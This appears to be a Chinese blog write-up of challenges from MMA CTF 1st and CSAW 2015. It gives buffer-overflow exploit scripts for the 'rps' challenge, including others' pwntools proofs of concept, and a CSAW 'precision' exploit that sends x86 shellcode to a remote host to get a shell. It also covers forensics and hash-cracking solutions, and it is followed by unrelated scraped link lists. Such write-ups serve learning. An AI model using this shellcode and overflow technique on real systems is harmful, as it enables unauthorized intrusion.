mma ctf 1st && csaw 2015
(很久以前做的,现在发一下)最近做了两个CTF,水平太渣,做了没几道题,挑几个自己做的记录一下。
mma ctf 1st 之 rps:
from socket import *
s = socket(AF_INET, SOCK_STREAM)
s.connect(('milkyway.chal.mmactf.link',1641))
#s.connect(('127.0.0.1',10001))
print s.recv(1024) payload = 'a'*48 + '\x03\x00\x00\x00\x00\x00\x00\x00'+ '\n'
s.send(payload)
print s.recv(1024) rand=open("rand")#提前生成rand文件
for line in rand:
if(line.rstrip()==''):
s.send('S\n')
print s.recv(1024)
if(line.rstrip()==''):
s.send('R\n')
print s.recv(1024)
if(line.rstrip()==''):
s.send('P\n')
print s.recv(1024) print s.recv(1024)
print s.recv(1024)
rand.close()
s.close()
flag:

赛后,看了他人写的writeup,感觉比我的好多了,也学了不少。
poc1:
from pwn import *
from ctypes import * rps = 'RPS'
libc = CDLL("libc.so.6")
libc.srand(0x01010101); def getNextAnswer():
comp = libc.rand()%3
mine = (comp + 1) %3
return rps[mine]
r = remote("milkyway.chal.mmactf.link", 1641)
nama = "A" * 0x30
nama += "\x01"*4
print r.recv()
print "Sending: " + str(nama)
r.send(str(nama) + "\n")
print r.recv()
for j in range(0, 50 ):
x = getNextAnswer()
print r.recv()
print "Sending: " + x + "\n"
r.send(x + "\n")
data = r.recv()
print data
print r.recv()
r.close()
poc2:不同的思路
from pwn import *
import time
context.binary=”rps”
context.bits=64
addr1=0x00000000006010e8
addr2=0x00000000004008b4
payload=”A”*80
payload+=pack(addr1)
payload+=pack(addr2)
p=remote(“milkyway.chal.mmactf.link”,1641)
msg=p.recvuntil(‘:’)
print msg
p.sendline(payload)
msg=p.recvlines(2)
print msg
p.sendline(“I”)
msg=p.recvall()
print msg
mma ctf 1st 之 cannotberun:
拿010 editor 改了下IMAGE_DOS_HEADER的e_lfanew成员值。这个成员表明了PE文件头(IMAGE_NT_HEADERS)在PE文件中的偏移。如果这个值为0,则表示该文件是一个DOS MZ可执行文件,如果不为0,就是一个Windows的PE文件。
flag:

mma ctf 1st 之 splitted:
wireshark中follow tcp stream后,就可以发现每个包的位置了,然后就用010 editor重组一下,解压后是个psd文件,在线找了一个photoshop,两个图层,其中一个就是flag。
flag:

赛后看有人直接用 convert flag.psd flag.png ,直接就能看flag了
mma ctf 1st 之 simple_hash:
这个当时时间有点紧,算法已经弄懂,但是脚本没写出来。赛后,自己写了一个,不过比较慢,还有很大优化的空间。
算法是一个
import datetime
import itertools
import string
target = 0x1E1EAB437EEB0
mod = 0x38D7EA4C68025
alphabet = string.ascii_letters + string.digits
def crack(can):
result = ''
while(can>0):
q,r = divmod(can,577)
if r>=255:
return ''
if(chr(r) not in alphabet):
return ''
result = result + chr(r)
if len(result)>10:
return ''
can = q
return result
starttime = datetime.datetime.now()
for i in itertools.count():
if i%10000000==0:
print i
target += mod
key = crack(target)
if key != '':
print 'cool\n'
print ''.join(reversed(key))
break
endtime = datetime.datetime.now()
print (endtime - starttime).seconds
csaw pwn precision
from pwn import *
r = remote('54.173.98.115', 1259)
#r = remote('127.0.0.1',10001)
ret = r.recv(1024)[-9:-1]
print 'ret addr: %s' % ret
ret = int(ret,16)
retaddr = p32(ret) shellcode="\xeb\x1b\x5f\x31\xc0\x6a\x53\x6a\x18\x59\x49\x5b\x8a\x04\x0f"
shellcode += "\xf6\xd3\x30\xd8\x88\x04\x0f\x50\x85\xc9\x75\xef\xeb\x05\xe8"
shellcode += "\xe0\xff\xff\xff\x1c\x7f\xc5\xf9\xbe\xa3\xe4\xff\xb8\xff\xb2"
shellcode += "\xf4\x1f\x95\x4e\xfe\x25\x97\x93\x30\xb6\x39\xb2\x2c" payload = shellcode + 'a'*(0x80-58) + '\xa5\x31\x5a\x47\x55\x15\x50\x40' + 'b'*12 + retaddr r.sendline(payload)
r.interactive()
mma ctf 1st && csaw 2015的更多相关文章
- 参加 Tokyo Westerns / MMA CTF 2nd 2016 经验与感悟 TWCTF 2016 WriteUp
洒家近期参加了 Tokyo Westerns / MMA CTF 2nd 2016(TWCTF) 比赛,不得不说国际赛的玩法比国内赛更有玩头,有的题给洒家一种一看就知道怎么做,但是做出来还需要洒家拍一 ...
- MMA CTF 2nd 2016-greeting
目录 MMA CTF 2nd 2016-greeting 总结 题目分析 checksec 函数分析 漏洞点 知识点 利用思路 EXP 完整Exp MMA CTF 2nd 2016-greeting ...
- CTF必备技能丨Linux Pwn入门教程——格式化字符串漏洞
Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...
- 【原生态跨平台:ASP.NET Core 1.0(非Mono)在 Ubuntu 14.04 服务器上一对一的配置实现-篇幅1】
鸡冻人心的2016,微软高产年. build 2016后 各种干货层出不穷. 1 Win10 集成了bash ,实现了纳德拉的成诺,Microsoft Love Linux!!! 2 跨平台 ,收 ...
- Linux pwn入门教程(6)——格式化字符串漏洞
作者:Tangerine@SAINTSEC 0x00 printf函数中的漏洞 printf函数族是一个在C编程中比较常用的函数族.通常来说,我们会使用printf([格式化字符串],参数)的形式来进 ...
- Linux pwn入门教程——格式化字符串漏洞
本文作者:Tangerine@SAINTSEC 原文来自:https://bbs.ichunqiu.com/thread-42943-1-1.html 0×00 printf函数中的漏洞printf函 ...
- CSAW CTF Qualification Round 2018 - shell->code
原题 Linked lists are great! They let you chain pieces of data together. nc pwn.chal.csaw.io 9005 链接:h ...
- COCI 2015、2016 1st round 题解(官方)
官方题解: 官方代码: Code-KARTE: #include <cstdio> #include <iostream> #include <cstring> u ...
- CSAW Quals CTF 2017-scv
目录 程序基本信息 程序漏洞 整体思路 exp脚本 内容参考 程序基本信息 64位动态链接程序,开启了栈溢出和数据段不可执行保护 程序漏洞 read函数很明显的栈溢出漏洞 整体思路 由于题目给了lib ...
随机推荐
- PHP MySQL Where 子句 之Where
WHERE 子句 如需选取匹配指定条件的数据,请向 SELECT 语句添加 WHERE 子句. 语法 SELECT column FROM table WHERE column operator va ...
- Unity 飞机的子弹轨迹
最近公司在开发一款儿童打飞机游戏. 策划跟我说能在子弹上加上一些轨迹就好了. 比如 旋转 左右移动呀.然后它就很愉快的跑去截其他游戏的图啦... 我看见图的时候, 解决方案: 1. 使用牛逼的 ...
- 部分和问题(dfs)
部分和问题 时间限制:1000 ms | 内存限制:65535 KB 难度:2 描述 给定整数a1.a2........an,判断是否可以从中选出若干数,使它们的和恰好为K. ...
- 怎样在 Swift 项目中使用 CocoaPods
4个步骤,将 CocoaPods 导入 Swift 1.创建.编辑 Podfile 文件并 pod install 2.使用 File -> New -> File- 创建一个 Heade ...
- react-native 布局基础
宽度单位和像素密度 react的宽度不支持百分比,设置宽度时不需要带单位 {width: 10}, 那么10代表的具体宽度是多少呢? 不知道是官网文档不全还是我眼瞎,反正是没找到,那做一个实验自己找吧 ...
- Gulp及组件安装构建
Gulp 是一款基于任务的设计模式的自动化工具,通过插件的配合解决全套前端解决方案,如静态页面压缩.图片压缩.JS合并.SASS同步编译并压缩CSS.服务器控制客户端同步刷新. Gulp安装 全局安装 ...
- [扩展KMP][HDU3613][Best Reward]
题意: 将一段字符串 分割成两个串 如果分割后的串为回文串,则该串的价值为所有字符的权值之和(字符的权值可能为负数),否则为0. 问如何分割,使得两个串权值之和最大 思路: 首先了解扩展kmp 扩展K ...
- kvm虚拟化之克隆篇
注意:在克隆虚拟机的时候,该虚拟机必须处于关闭状态. 1,查看目前有哪些子机并选择要克隆的子机,我选择关闭test,说明我要克隆的就是它了. 2,查看虚拟机是否关闭. virsh list --al ...
- Respond.js让IE6-8支持CSS3 Media Query
原文地址:http://caibaojian.com/respondjs.html 使用方式 官方demo地址:http://scottjehl.github.com/Respond/test ...
- ScriptManager需要用到的JS
<script type="text/javascript"> Sys.Application.add_load(function() { var form = Sys ...